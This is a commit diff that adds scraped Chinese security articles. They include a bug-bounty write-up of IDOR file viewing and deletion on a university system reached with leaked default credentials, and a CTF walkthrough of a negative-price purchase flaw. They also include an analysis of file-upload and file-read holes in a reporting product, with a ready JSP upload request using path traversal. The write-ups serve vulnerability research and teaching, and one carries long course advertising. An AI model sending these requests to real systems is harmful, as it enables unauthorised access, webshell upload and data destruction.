命令执行不出网、无回显、连基础工具base64∕xxd都没有?极限生存下的命令执行,怎么打?、某报表漏洞分析、【CTFer成长之路】零元购逻辑漏洞、栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解、Edu双一流证书站 | github密码泄露导致的越权漏洞、

This commit is contained in:
test 2025-05-11 16:21:26 +00:00
parent f21d654d16
commit e44fcd121c
6 changed files with 896 additions and 6 deletions

View File

@ -13861,5 +13861,10 @@
"https://mp.weixin.qq.com/s?__biz=MzU2NDgzOTQzNw==&mid=2247503235&idx=1&sn=71f55f311c5c308014a3271e92332314": "【成功复现】DocsGPT远程代码执行漏洞 (CVE-2025-0868)",
"https://mp.weixin.qq.com/s?__biz=MzAwMjA5OTY5Ng==&mid=2247526293&idx=1&sn=ef18b8e203a13372a4ae6e2e64021d6b": "一张照片、一句简单提示词就被ChatGPT人肉开盒深度解析o3隐私漏洞",
"https://mp.weixin.qq.com/s?__biz=MzA4NDQ5NTU0MA==&mid=2647690710&idx=1&sn=fc4cae87be57161eff78f17fe0bfcd8b": "0038.我如何在顶级漏洞赏金计划中找到我最喜欢的漏洞",
"https://mp.weixin.qq.com/s?__biz=MzUyODkwNDIyMg==&mid=2247549854&idx=1&sn=443df06051542ef0a63b806e2c0237ad": "挖洞日记 | 记一次不断FUZZ拿下高危越权漏洞"
"https://mp.weixin.qq.com/s?__biz=MzUyODkwNDIyMg==&mid=2247549854&idx=1&sn=443df06051542ef0a63b806e2c0237ad": "挖洞日记 | 记一次不断FUZZ拿下高危越权漏洞",
"https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247497580&idx=1&sn=c77028340ad979d0182045d5796a3826": "命令执行不出网、无回显、连基础工具base64xxd都没有极限生存下的命令执行怎么打",
"https://mp.weixin.qq.com/s?__biz=Mzg2NTgzMDg1NA==&mid=2247484166&idx=1&sn=ea248bc37355933590a2ccaae38f7eca": "某报表漏洞分析",
"https://mp.weixin.qq.com/s?__biz=Mzg5NTU2NjA1Mw==&mid=2247502141&idx=1&sn=f372a42f927527cbe6c164a6df175c6e": "【CTFer成长之路】零元购逻辑漏洞",
"https://mp.weixin.qq.com/s?__biz=Mzg2NDcwNjkzNw==&mid=2247487502&idx=1&sn=20724856905cdf62df94314268764232": "栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解",
"https://mp.weixin.qq.com/s?__biz=MzkyNTUyNTE5OA==&mid=2247486927&idx=1&sn=88fd42417284d98b5c427404832afd6f": "Edu双一流证书站 | github密码泄露导致的越权漏洞"
}

View File

@ -0,0 +1,237 @@
# Edu双一流证书站 | github密码泄露导致的越权漏洞
原创 学员投稿 猎洞时刻 2025-05-11 13:48
```
                              免责声明
本课程旨在培养具备合法合规网络安全技能的白帽子安全研究人员,专注于网络安全漏洞挖掘与防护技术。任何参与本课程的学员,均需承诺遵守国家法律法规,严格遵守网络安全行业的道德规范。
严禁黑灰产及违法行为:本课程严禁任何从事黑灰产、非法入侵、攻击他人系统或从事任何违法行为的人员参与。如果学员在学习过程中有任何违法行为,本课程及相关机构将不承担任何责任。
学员行为与本课程无关:课程内容仅供学术研究与技术提升之用,任何学员的行为与本课程无关,学员需对其行为负责,并承诺仅将所学用于合法的网络安全防护和技术研究。
参与本课程即表示您已充分理解并同意以上免责声明。如有任何疑问,欢迎与我们联系。
```
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9evFcNH31Pjh0f83GEqsibSQsGS8uUrBPLU6VJbjw8CTibOgsYYOhqqKpaQHb9BicrJcCOYhZG0tYOg/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1 "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9kao7UHfF2hzJ24hTyQ1cNQyT1w5nApuzicDrQBM0zNqAGx0YPZ1t27bibL8XyMhzcpvuI8gYYYqaQ/640?wx_fmt=png&from=appmsg "")
开局一个SSO登录框
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9kao7UHfF2hzJ24hTyQ1cNcmlQjuiaA0t7lhBqlOiaYic44W1M7HAnI0hutHicAneP5hwjp2mcr0OD1w/640?wx_fmt=png&from=appmsg "")
通过在github信息收集可以成功拿到默认密码
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9kao7UHfF2hzJ24hTyQ1cNINwOQOTC3JbFkzdvADhQXYoQDFwyeIJzvTE9OVaicCZfDxLMeiavbZ1w/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9kao7UHfF2hzJ24hTyQ1cN7k5L9j4ByOHnCzZ5cOTVSPYUQJemsu6okML2J6vfTdic7ZMYZKOz6FQ/640?wx_fmt=png&from=appmsg "")
拿到账号密码后,可以成功登录学生系统。
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9kao7UHfF2hzJ24hTyQ1cNcHUBSXqAniccJ0fLlZhPUGKZE3ynLI6tRu0G6z1BicMicnkAa7pSjuX0Q/640?wx_fmt=png&from=appmsg "")
进入vpn后发现一个系统使用统一登录。
因为是统一登录,所以使用刚才那个密码仍然可以登陆成功。
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9kao7UHfF2hzJ24hTyQ1cNDyEiaOOyceMn6Ooqbxb4pEroQQm4nm3aKFs8uYicjz5H4iaptOgRSQ1Bg/640?wx_fmt=png&from=appmsg "")
漏洞1 越权查询
在shre/list 此接口可获取大量用户 id
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9kao7UHfF2hzJ24hTyQ1cNHJiajArLlcEqcH9AXibtqoLmAVibOXRz77Msicl1c8Q9ibk8azEQjNjDVHQ/640?wx_fmt=png&from=appmsg "")
在file/ls接口拿到别人学号后可以越权查看别人的文件信息。
下面是第一个人学号的返回值内容。
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9kao7UHfF2hzJ24hTyQ1cNXdHCE3Vtvic5ZV8rbicibVAicr1NFG1Bp6RicMXMqvxGm50GTxFvwqMe9NA/640?wx_fmt=png&from=appmsg "")
更改学号后,返回包看到的内容已经不同,可以越权查看。
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9kao7UHfF2hzJ24hTyQ1cNAH6rltg4ic7B8yFF4IlmKtgrAQshhYmyVs3AmCGfFicPCymxicQMVGRSw/640?wx_fmt=png&from=appmsg "")
#
#
# 漏洞2 越权删除
先使用file/ls接口输入别人学号可以看到别人的文件信息。
也就是上面的越权漏洞。
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9kao7UHfF2hzJ24hTyQ1cNLzHI54qstrluRLhPMY6fgeoRSWge4zK94oIokHibqj41LSRBCcJ5RrQ/640?wx_fmt=png&from=appmsg "")
然后这里使用另一个接口file/rm 拿到别人的文件path后就能够进行越权删除。
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9kao7UHfF2hzJ24hTyQ1cNSbTXy0uFxzp9wSGHCIPa3xSObSdEEib2udwOpZjn0TH2yAvykZtJibLg/640?wx_fmt=png&from=appmsg "")
再回到之前的file/ls接口仍然使用那个越权的学号去查询发现已经删除成功。
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9kao7UHfF2hzJ24hTyQ1cNbt9p3VUia7HFJNK4ia3l7s4ErklNduLyYxIrS45qX59a9ESqXb3jUIMQ/640?wx_fmt=png&from=appmsg "")
来自真实的edu证书站的实战案例感谢师傅观看
   
猎洞时刻第三期开课啦价格仅需一千多课程内容覆盖企业赏金SRC、众测赏金、CNVD、Edusrc、网安岗入职技能培训等~~
2025HVV在即第三期新增内容也包括了护网培训让没有参加过一次护网的大学生直接拥有“一次护网经历”
报名本课程:全天候的技术解答、简历修改、内部众测项目、网安原厂内推、线下岗位推荐、众多安全圈资源!更重要的售后服务~!售后服务!
以下为猎洞时刻第三期漏洞挖掘培训课表
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTHicsfiaZKESbNhgIqu5tfwALYnKghloAvKFVA1XCTZb7icsSd5MfMibwAqEQYHyLrd9IYI9U9rRcuNhOA/640?wx_fmt=png&from=appmsg "")
**第三期漏洞挖掘**
      目前猎洞时刻漏洞挖掘第三期正在开课中覆盖企业赏金SRC众测赏金线下项目渗透和安全行业工作能力提升、EDU、CNVD目前价格仅需1K+每期都可以永久学习并且赠送内容200+的内部知识星球,保证无保留教学,不搞水课! 
众多学员入职CT、LM、QAX、AH等安全大厂。 酒香不怕巷子深,可以打听已经报名学员,我这边是否全程干货!
 绝对对得起师傅们花的钱! (以上课表内容并非全部,经常在上课期间添加新的技能方向!)
 
来自学员的EDUSRC挖掘成果一个人单月五百分十几本证书。
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTHicsfiaZKESbNhgIqu5tfwALYPgLWriacNzyAksQdXYKsQD7jtMjSF7Y25IBicTG27RfiatM8ic3mbB8WbQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTHicsfiaZKESbNhgIqu5tfwALY74flREur5Db0xDhQQNkhPwOQa5m0TMlSYYw6A9df8DaRucXxkalafw/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTHicsfiaZKESbNhgIqu5tfwALYrO3pcEQavRY72PWs1iahoibBuHYCibm4dicwFVgOWpicZcL0JfxXdhYSTvg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTHicsfiaZKESbNhgIqu5tfwALY0yI2I0ENze3361KDnO6LoSOO8cibXQoA4qrODniayeWmMicnTpcoj5KxQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6Ec7V2mdpARcXNrxUyhHMk8te0kpDQiaZXvyo6A31AhbuXl7n4ibc9cCQ/640?wx_fmt=png&from=appmsg "")
来自学员企业赏金SRC、众测赏金挖掘反馈。
低价一千多的课程并不代表内容比市面上几千块的差,打破一分钱一分货的观念!
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTHicsfiaZKESbNhgIqu5tfwALYzWcagp19avqg68yMJXCg9StedSvztuxtGT6WGBHBiaibHIYEckicljtdQ/640?wx_fmt=png&from=appmsg "")
学员获取万元赏金,一次性回本几倍。
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTHicsfiaZKESbNhgIqu5tfwALYq4mHFyFHQUTQQicUGGnS8DGd6Jbedpz2liaF96icgXhCIDfCeozmuHrcA/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTHicsfiaZKESbNhgIqu5tfwALYWLzgrwhMOKM4oibbxP1JtZtQIJFAL9hfayESyzYWcUXPyqNMIEE3b6A/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6Ec7V2mdpARcXNrxUyhHMk8te0kpDQiaZXvyo6A31AhbuXl7n4ibc9cCQ/640?wx_fmt=png&from=appmsg "")
来自学员报名后的真实评价和反馈。
![图片](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6ExiaaJbSDqQ9FamicjOoN4aVVwjQveKGicwNjicNe87FTDdB7P98yM44qQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6Ec7V2mdpARcXNrxUyhHMk8te0kpDQiaZXvyo6A31AhbuXl7n4ibc9cCQ/640?wx_fmt=png&from=appmsg "")
从一开始的疑惑不信任,怕跳入另一个培训的坑,到最后的逐帧学习!
![图片](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6pZc2LXREMNIpdRNlNGwTLeasLyoPpfJ7XFy1SNRrAVOSA5VXVT0vuA/640?wx_fmt=png&from=appmsg "")
![图片](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6MqcwfLpquPZVpCn91la3icYKcEFjaGMLqx4kjG25icSd8yh3n6YgnveQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6Ec7V2mdpARcXNrxUyhHMk8te0kpDQiaZXvyo6A31AhbuXl7n4ibc9cCQ/640?wx_fmt=png&from=appmsg "")
每节课都是花费大量时间进行撰写,不仅仅课程全程干货,针对于学员的入职、简历修改、实习和职业规划、工作内推、在线技术解答这些售后服务也一直在认真做。
![图片](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6wIz6wQlIl3dRCMgYAD4PSfDuAKDWhWRyLiboPFlpmdjFwmI9Gj3MWkQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6eD0pXNbsvuELZ16CtzibM3uL5nhCm7oicNfmjkWHGpZVDPN3TsDlatGQ/640?wx_fmt=png&from=appmsg "")
课程加量不加价、上述课表中的内容,不代表第三期的全部内容,实际上课会比课表多更多。
课程中还会有更多
其他师傅的技术分享
比如溯源反制、edu通杀挖掘、企业src挖洞新技巧等等...
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTHicsfiaZKESbNhgIqu5tfwALYwIGqmltkLxbXpaLLEzu6tvafJO5Dms4WGGGtghnKFELWlIPs7VtzRQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6Ec7V2mdpARcXNrxUyhHMk8te0kpDQiaZXvyo6A31AhbuXl7n4ibc9cCQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6Ec7V2mdpARcXNrxUyhHMk8te0kpDQiaZXvyo6A31AhbuXl7n4ibc9cCQ/640?wx_fmt=png&from=appmsg "")
除此之外包括什么HW和入职简历修改、安全厂商内推等资源、内部众测项目我们团队都是具有资源的然后还会赠送一个永久的安全圈子(原收费圈),有大量漏洞实战报告、各种实用工具和安全圈资源!
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6Ec7V2mdpARcXNrxUyhHMk8te0kpDQiaZXvyo6A31AhbuXl7n4ibc9cCQ/640?wx_fmt=png&from=appmsg "")
**报名课程赠送永久纷传圈子**
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6eD0pXNbsvuELZ16CtzibM3uL5nhCm7oicNfmjkWHGpZVDPN3TsDlatGQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6FLfpsSWbNzwzQJza2ibjh5l0t3uicD8DeibFlUfgLvXmn2ZRiadKlnAc6g/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6Ec7V2mdpARcXNrxUyhHMk8te0kpDQiaZXvyo6A31AhbuXl7n4ibc9cCQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6k8MJLUSTKbCwbEwE2yejib6SYER4uY4BtrtZUnb6SeSvuRt3AjLwLvA/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6Ec7V2mdpARcXNrxUyhHMk8te0kpDQiaZXvyo6A31AhbuXl7n4ibc9cCQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6rjNT659oVt15pR0AtT7JlmpPbBUs7867ticTdKV1mG1J7Uc6u7Krukg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6Ec7V2mdpARcXNrxUyhHMk8te0kpDQiaZXvyo6A31AhbuXl7n4ibc9cCQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6DJ5I3VEY7k9SF6SUquUR3YJclSqSdNUCpjSxCcYylIHeicacZexfG5A/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6Ec7V2mdpARcXNrxUyhHMk8te0kpDQiaZXvyo6A31AhbuXl7n4ibc9cCQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6VC1D4NCVicfwicEAYsX7wDv3omQiavvibbN2yA5cYfyldFoiaRVNo4vjQMA/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6Ec7V2mdpARcXNrxUyhHMk8te0kpDQiaZXvyo6A31AhbuXl7n4ibc9cCQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6JibDHMf1cBZRic6MoEicRWSc8EICPuAGKMFwq388JKMxyGarX66EdPd5Q/640?wx_fmt=png&from=appmsg "")
**报名和咨询课程加我微信**
不仅仅是挖洞课程,一次报名永久学习,送永久星球、护网培训和推荐、全天技术在线解答、大学生入职规划、技术不错可以安全厂商内推、简历优化修改、安全圈子其他课程资源分享、学不会可以直接语音交流。
目前价格一千多,有优惠,需要报名滴滴我。
更重要的是售后服务!!!不会亏待各位师傅!
****
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6eD0pXNbsvuELZ16CtzibM3uL5nhCm7oicNfmjkWHGpZVDPN3TsDlatGQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/d6JIQYCSTH9XP1icfbxx4tSm3LXJWMmF6wkBASUnGtVTLJFdwLRiafq5oc8QjqibWWogTsgtJQdlJlODzq0nbtUXQ/640?wx_fmt=png&from=appmsg "")
(课程咨询,加群聊,好友扩列均可加我~)

View File

@ -0,0 +1,66 @@
# 【CTFer成长之路】零元购逻辑漏洞
原创 儒道易行 儒道易行 2025-05-11 12:00
## 逻辑漏洞CTF
访问url:
```
http://1b43ac78-61f7-4b3c-9ab7-d7e131e7da80.node3.buuoj.cn/
```
登录页面用随意用户名+密码登录
![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpwVwibdmdUkaoLf2icEfm7l9r8hdibqIYtM46aElMHNEUvw5aAbYTHFw4lXiaULvnnHKnyoMq84VJ03Ew/640?wx_fmt=png&from=appmsg "")
访问url文件路径
```
http://1b43ac78-61f7-4b3c-9ab7-d7e131e7da80.node3.buuoj.cn/user.php
```
登陆后有商品列表,共三个商品,点击购买flag
![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpwVwibdmdUkaoLf2icEfm7l9r29jdbEcPSFN0JRj1YCocSn5aXVWXI4cZp50RCTNUeNibBlC2Sau05YA/640?wx_fmt=png&from=appmsg "")
钱不够
![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpwVwibdmdUkaoLf2icEfm7l9ribflqXjVbSQj3VjO9uqLRwCmMsrt6dbJjKpDzK1OQyst53jauGzicSww/640?wx_fmt=png&from=appmsg "")
另两个商品购买会显示各自对应的内容,并在多次购买后也会提示
```
Money Not Enough
```
结合对应的金额不难发现存在初始金额并且金额有限。在进行购买时url形如
```
buy.php?cost=200&goods=2
```
其中便有消费金额的参数,后端根据消费金额直接对余额进行增减将消费金额修改为负数时,便能够使余额增长:
```
buy.php?cost=-200&goods=2
```
将数字调大便可使余额能购买Flag
构造payload
```
buy.php?cost=-20000&goods=1
```
此时便能够正常购买Flag
![](https://mmbiz.qpic.cn/mmbiz_png/v94hWOZcBpwVwibdmdUkaoLf2icEfm7l9rcParrlzgmgceBlrysK03ZJUCG4xJwcHJzcicvCD9icIhUqv9TW88Pruw/640?wx_fmt=png&from=appmsg "")
## 声明
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

View File

@ -1,5 +1,5 @@
# 命令执行不出网、无回显、连基础工具base64/xxd都没有极限生存下的命令执行怎么打
原创 跟着斯叔唠安全 跟着斯叔唠安全 2025-05-08 06:01
迪哥讲事 2025-05-11 14:01
免责声明
@ -155,12 +155,45 @@ awk '{ printf "%c", $1 }' /xxxxx/1.txt > /xxxxx/1.jsp
End
    
业务咨询/网络安全教学可添加主页微信咨询,欢迎打扰~
    
    如果你是一个长期主义者欢迎加入我的知识星球我们一起往前走每日都会更新精细化运营微信识别二维码付费即可加入如不满意72 小时内可在 App 内无条件自助退款
![](https://mmbiz.qpic.cn/mmbiz_png/YmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ/640?wx_fmt=png&from=appmsg "")
往期回顾
# 如何绕过签名校验
#
[一款bp神器](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495880&idx=1&sn=65d42fbff5e198509e55072674ac5283&chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&scene=21#wechat_redirect)
[挖掘有回显ssrf的隐藏payload](https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496898&idx=1&sn=b6088e20a8b4fc9fbd887b900d8c5247&scene=21#wechat_redirect)
[ssrf绕过新思路](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495841&idx=1&sn=bbf477afa30391b8072d23469645d026&chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&scene=21#wechat_redirect)
[一个辅助测试ssrf的工具](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496380&idx=1&sn=78c0c4c67821f5ecbe4f3947b567eeec&chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&scene=21#wechat_redirect)
[dom-xss精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247488819&idx=1&sn=5141f88f3e70b9c97e63a4b68689bf6e&chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&scene=21#wechat_redirect)
[年度精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487187&idx=1&sn=622438ee6492e4c639ebd8500384ab2f&chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&scene=21#wechat_redirect)
[Nuclei权威指南-如何躺赚](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487122&idx=1&sn=32459310408d126aa43240673b8b0846&chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&scene=21#wechat_redirect)
[漏洞赏金猎人系列-如何测试设置功能IV](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486973&idx=1&sn=6ec419db11ff93d30aa2fbc04d8dbab6&chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&scene=21#wechat_redirect)
[漏洞赏金猎人系列-如何测试注册功能以及相关Tips](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect)
[](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect)

View File

@ -0,0 +1,126 @@
# 某报表漏洞分析
原创 Mert 韭要学JAVA安全 2025-05-11 13:40
 
1.dataSphereServlet文件上传漏洞
![](https://mmbiz.qpic.cn/sz_mmbiz_png/90EWr4bdmEkoicjkLpdC2OEcuD93sMD4MHsoePmfGzjpVqT2NKJdiablziaQjl0GwMWI0qJqVFUFJOdue90BoOh8Q/640?wx_fmt=png&from=appmsg "")
server-name里面有对应的类 进入 com.raqsoft.guide.web.DataSphereServlet 进入该类
![](https://mmbiz.qpic.cn/sz_mmbiz_png/90EWr4bdmEkoicjkLpdC2OEcuD93sMD4MOITAXjsib5SXNBoynIeekjkJ8Ogrt3pqT3KbOiaYoaLF1tP6knP5aZFQ/640?wx_fmt=png&from=appmsg "")
action=38时代码仅获取文件名并保存未验证文件类型
```
Upload upload = new Upload(this.getServletConfig(), request,response);
String upName = upload.getFileName(0);path = upload.getParameter("path");fm.write(upName, Consts.getStreamBytes(upload.getByteArrayInputStream(0)));
```
然后通过通过getFilePath方法拼接路径
```
数据包:
POST /servlet/dataSphereServlet?action=38 HTTP/1.1
Host: 0.0.0.0
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 388
Content-Type: multipart/form-data; boundary=eac629ee4641cb0fe10596fba5e0c5d9
--eac629ee4641cb0fe10596fba5e0c5d9
Content-Disposition: form-data; name="openGrpxFile"; filename="test.jsp"
Content-Type: text/plain
<% out.println("test"); %>
--eac629ee4641cb0fe10596fba5e0c5d9
Content-Disposition: form-data; name="path"
../../../
--eac629ee4641cb0fe10596fba5e0c5d9
Content-Disposition: form-data; name="saveServer"
```
2.InputServlet文件上传
![](https://mmbiz.qpic.cn/sz_mmbiz_png/90EWr4bdmEkoicjkLpdC2OEcuD93sMD4Mic1eqcohrm8yjoj9nES9KHttp4FeiaOlYrPMNt191SSjgDBN96ESCEpQ/640?wx_fmt=png&from=appmsg "")
进入InputServlet类里面 
![](https://mmbiz.qpic.cn/sz_mmbiz_png/90EWr4bdmEkoicjkLpdC2OEcuD93sMD4MjzBf38DRbP1V8E6uqCon3iacWEQ5WZ0VsicM5Hh1MMtTaIYVqlt5iawJg/640?wx_fmt=png&from=appmsg "")
跟进UploadFile方法
![](https://mmbiz.qpic.cn/sz_mmbiz_png/90EWr4bdmEkoicjkLpdC2OEcuD93sMD4M05aCEliaLDsLTFibuZP41xhGcTpMb4XYyF2ia6MHpnV4Etib5ExcnoDDbg/640?wx_fmt=png&from=appmsg "")
```
核心代码
Upload upload = new Upload(servletConfig, request, response);
int upsize = Integer.parseInt(upload.getParameter("upsize"));
int size = upload.getFileSize(0);
if (size > upsize * 1024) {
    throw new Exception("上载文件大小" + (int)Math.ceil((double)size / (double)1024.0F) + "k大于最大限制" + upsize + "k");
}
String upFileName = "";
if (upload.getUploadFileCount() == 1) {
    upFileName = upload.getFileName(0);
}
File f = new File(Config.getCachePath() + "/tmp_" + (new Double(Math.random() * (double)100000.0F)).intValue() + "_" + upFileName);
FileOutputStream fos = null;
try {
    fos = new FileOutputStream(f);
    byte[] b = InputUtils.getStreamBytes(upload.getByteArrayInputStream(0));
    fos.write(b);
    fos.flush();
} finally {
    try {
        fos.close();
    } catch (Exception var31) {
    }
}
InputSessionListener.addFile(request.getSession(), f.getAbsolutePath(), (Object)null);
```
使用Config.getCachePath()获取上传文件的目标路径,然后与文件名拼接成完整路径
upFileName的值由upload.getFileName(0)获取,可以控制上传文件的文件名
3.
dataSphereServlet文件读取漏洞
![](https://mmbiz.qpic.cn/sz_mmbiz_png/90EWr4bdmEkoicjkLpdC2OEcuD93sMD4MRQ9HL6CBic0k3nVMOfgXHpF5KRMW9ic4pEJ6kpZUBVxiaDPdl5kmHnYTg/640?wx_fmt=png&from=appmsg "")
path参数直接来自用户请求未经过严格过滤
```
if (!saveServer) {
    s = SaveUtil.readFile(new File(abPath));
}
```
当saveServer为false时代码会读取并返回文件内容给客户端
4.dataSphereServlet文件读取漏洞
![](https://mmbiz.qpic.cn/sz_mmbiz_png/90EWr4bdmEkoicjkLpdC2OEcuD93sMD4M5Xk8Qs4MG9diaU3FEv5N2ibFvsSDk5kS3wtHKvWwcnp5iaEmpVBkDYeiaw/640?wx_fmt=png&from=appmsg "")
进入DownloadFile()方法
![](https://mmbiz.qpic.cn/sz_mmbiz_png/90EWr4bdmEkoicjkLpdC2OEcuD93sMD4MV7gGaccRvffLSTV3BiaflkQurBF6JvWMTyV0S6Mo9BNxqKGqSdMQcxQ/640?wx_fmt=png&from=appmsg "")
```
// 获取文件参数
String fileName = request.getParameter("file");
// 根据获取的文件名构造文件对象
File f = new File(Config.getCachePath(), fileName);
